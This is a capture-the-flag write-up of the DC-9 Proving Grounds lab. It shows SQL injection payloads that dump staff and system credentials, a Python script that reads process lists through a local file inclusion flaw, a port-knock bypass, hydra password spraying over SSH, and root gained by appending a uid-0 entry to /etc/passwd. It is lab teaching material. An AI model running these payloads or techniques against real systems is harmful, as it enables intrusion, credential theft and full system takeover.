Skip to content
HackIndex logo

HackIndex

DC-9 Writeup - Proving Grounds

Medium Linux

Last updated July 13, 2026 5 min read

Joshua

HackIndex Creator

Discovery

Only port 80 is open. Apache 2.4.38 on Debian serves a staff directory application. No UDP ports respond.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
[+] Discovering all open TCP ports...
PORT   STATE SERVICE
80/tcp open  http

[+] Running scripts & versions on TCP ports: 80
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome

Directory enumeration stays shallow — only /css and /includes show up alongside index.php. Nikto flags /config.php as potentially exposing database credentials and notes directory listing is enabled on /includes. The application itself has a search form at results.php and an add-record form.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://$TARGET_IP/FUZZ -mc 200,204,301,302,307,401 -recursion -recursion-depth 5
css          [Status: 301]
includes     [Status: 301]
index.php    [Status: 200]

Enumeration

The search form at results.php is injectable. A basic OR payload confirms blind string injection, and a UNION-based approach works to extract data. The column count is six, with output landing in the first position.

Identify the MariaDB version and current databases first:

Moe' UNION SELECT @@@version,NULL,NULL,NULL,NULL,NULL -- -
ID: 10.3.17-MariaDB-0+deb10u1
Name:
Position:
Phone No:
Email:

Enumerate tables across all schemas — not just the current database:

Moe' UNION SELECT table_schema,table_name,NULL,NULL,NULL,NULL FROM information_schema.tables -- -
ID: Staff
Name: StaffDetails

ID: Staff
Name: Users

ID: users
Name: UserDetails

Two databases: Staff and users. The Staff.Users table holds the web app login. users.UserDetails holds system-level credentials.

Dump Staff.Users:

Moe' UNION SELECT UserID,Username,Password,NULL,NULL,NULL FROM Users -- -
ID: 1
Name: admin 856f5de590ef37314e7c3bdf6f8a66dc

The MD5 hash cracks instantly via CrackStation: $ADMIN_PASSWORD. This gets admin access to the web panel but is not directly useful for a shell since SSH is blocked.

Dump users.UserDetails for all system accounts:

Moe' UNION SELECT username,password,NULL,NULL,NULL,NULL FROM users.UserDetails -- -
ID: marym       Name: $MARYM_PASSWORD
ID: julied      Name: $JULIED_PASSWORD
ID: fredf       Name: $FREDF_PASSWORD
ID: barneyr     Name: $BARNEYR_PASSWORD
ID: tomc        Name: $TOMC_PASSWORD
ID: jerrym      Name: $JERRYM_PASSWORD
ID: wilmaf      Name: $WILMAF_PASSWORD
ID: bettyr      Name: $BETTYR_PASSWORD
ID: chandlerb   Name: $CHANDLERB_PASSWORD
ID: joeyt       Name: $JOEYT_PASSWORD
ID: rachelg     Name: $RACHELG_PASSWORD
ID: rossg       Name: $ROSSG_PASSWORD
ID: monicag     Name: $MONICAG_PASSWORD
ID: phoebeb     Name: $PHOEBEB_PASSWORD
ID: scoots      Name: $SCOOTS_PASSWORD
ID: janitor     Name: $JANITOR_PASSWORD
ID: janitor2    Name: $JANITOR2_PASSWORD

Local File Inclusion — Port Knock Discovery

Port 22 is filtered. The admin panel at addrecord.php shows a File does not exist error when the page loads without a parameter. Fuzzing for the parameter name reveals file, which reads arbitrary files from disk.

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://$TARGET_IP/addrecord.php?FUZZ=../../../../../etc/passwd \
-mc 200 -b 'PHPSESSID=<session>' -fs 1757
file   [Status: 200, Size: 4110]

Reading /etc/passwd via the LFI confirms 17 home directories with bash shells. SSH is running on port 22 (confirmed via /proc/net/tcp) but something is blocking access. Enumerating running processes through /proc/[pid]/cmdline using a loop script reveals the answer:

import requests
import re

pattern = r"File does not exist<br />(.*?)\s*</div>"

session = requests.Session()
BASE = "http://192.168.222.209/addrecord.php"
COOKIE = {'PHPSESSID': '<session>'}

def lfi_read(path):
    r = session.get(f"{BASE}?file={path}", cookies=COOKIE)
    match = re.search(pattern, r.text)
    if match:
        return match.group(1).strip()
    return None

for pid in range(1, 10000):
    cmdline = lfi_read(f"../../../../../../proc/{pid}/cmdline")
    if not cmdline or cmdline.startswith("</"):
        continue
    cmdline = cmdline.replace("\x00", " ").strip()
    print(f"[+] PID {pid}: {cmdline}")

One process stands out: /usr/sbin/knockd -i eth0. Reading /etc/knockd.conf via LFI reveals the port knock sequence to open SSH:

[openSSH]
	sequence    = 7469,8475,9842
	seq_timeout = 25
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

[closeSSH]
	sequence    = 9842,8475,7469
	seq_timeout = 25
	command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

Send the knock sequence and verify port 22 opens:

┌──(kali㉿kali)-[~]
└─$ knock $TARGET_IP 7469 8475 9842
┌──(kali㉿kali)-[~]
└─$ nmap -p 22 $TARGET_IP
PORT   STATE SERVICE
22/tcp open  ssh

Initial Access

Spray the credentials from users.UserDetails against SSH. Three accounts get in:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -P passwords.txt -e nsr ssh://$TARGET_IP -t 10
[22][ssh] host: 192.168.222.209   login: chandlerb   password: $CHANDLERB_PASSWORD
[22][ssh] host: 192.168.222.209   login: joeyt       password: $JOEYT_PASSWORD
[22][ssh] host: 192.168.222.209   login: janitor     password: $JANITOR_PASSWORD

Log in as janitor and look around. A hidden directory .secrets-for-putin in the home folder contains a file with additional plaintext passwords not in the original database dump.

user@host ~ $ cat ~/.secrets-for-putin/passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

Spray these new passwords against all users. The knock sequence needs to be resent before each Hydra run since the iptables rule is per-source-IP.

┌──(kali㉿kali)-[~]
└─$ knock $TARGET_IP 7469 8475 9842
┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -P passwords2.txt -e nsr ssh://$TARGET_IP -t 4
[22][ssh] host: 192.168.222.209   login: fredf   password: $FREDF_PASSWORD
[22][ssh] host: 192.168.222.209   login: joeyt   password: $JOEYT_PASSWORD

Privilege Escalation

Log in as fredf and check sudo rights:

user@host ~ $ sudo -l
User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test

The binary is a PyInstaller-packaged Python script. Copy it locally, extract with pyinstxtractor, and decompile the bytecode with uncompyle6 to read the source:

┌──(kali㉿kali)-[~]
└─$ scp fredf@$TARGET_IP:/opt/devstuff/dist/test/test ./
┌──(kali㉿kali)-[~]
└─$ pyinstxtractor test
┌──(kali㉿kali)-[~]
└─$ uncompyle6 test_extracted/test.pyc
import sys
if len(sys.argv) != 3:
    print('Usage: python test.py read append')
    sys.exit(1)
else:
    f = open(sys.argv[1], 'r')
    output = f.read()
    f = open(sys.argv[2], 'a')
    f.write(output)
    f.close()

The binary reads a file and appends its contents to a second file — running as root via sudo. This is an arbitrary file append as root. The straightforward escalation is to append a new root-level user to /etc/passwd.

Generate a password hash and craft the passwd entry:

┌──(kali㉿kali)-[~]
└─$ openssl passwd -1 -salt xyz hacked
$1$xyz$WoJnHXXscB1sOcMi3CSGl/
user@host ~ $ echo 'r00t:$1$xyz$WoJnHXXscB1sOcMi3CSGl/:0:0:root:/root:/bin/bash' > /tmp/evil
user@host ~ $ sudo /opt/devstuff/dist/test/test /tmp/evil /etc/passwd

Switch to the newly added root account:

user@host ~ $ su r00t
Password:
root@dc-9:/home/fredf#

Root shell obtained.

References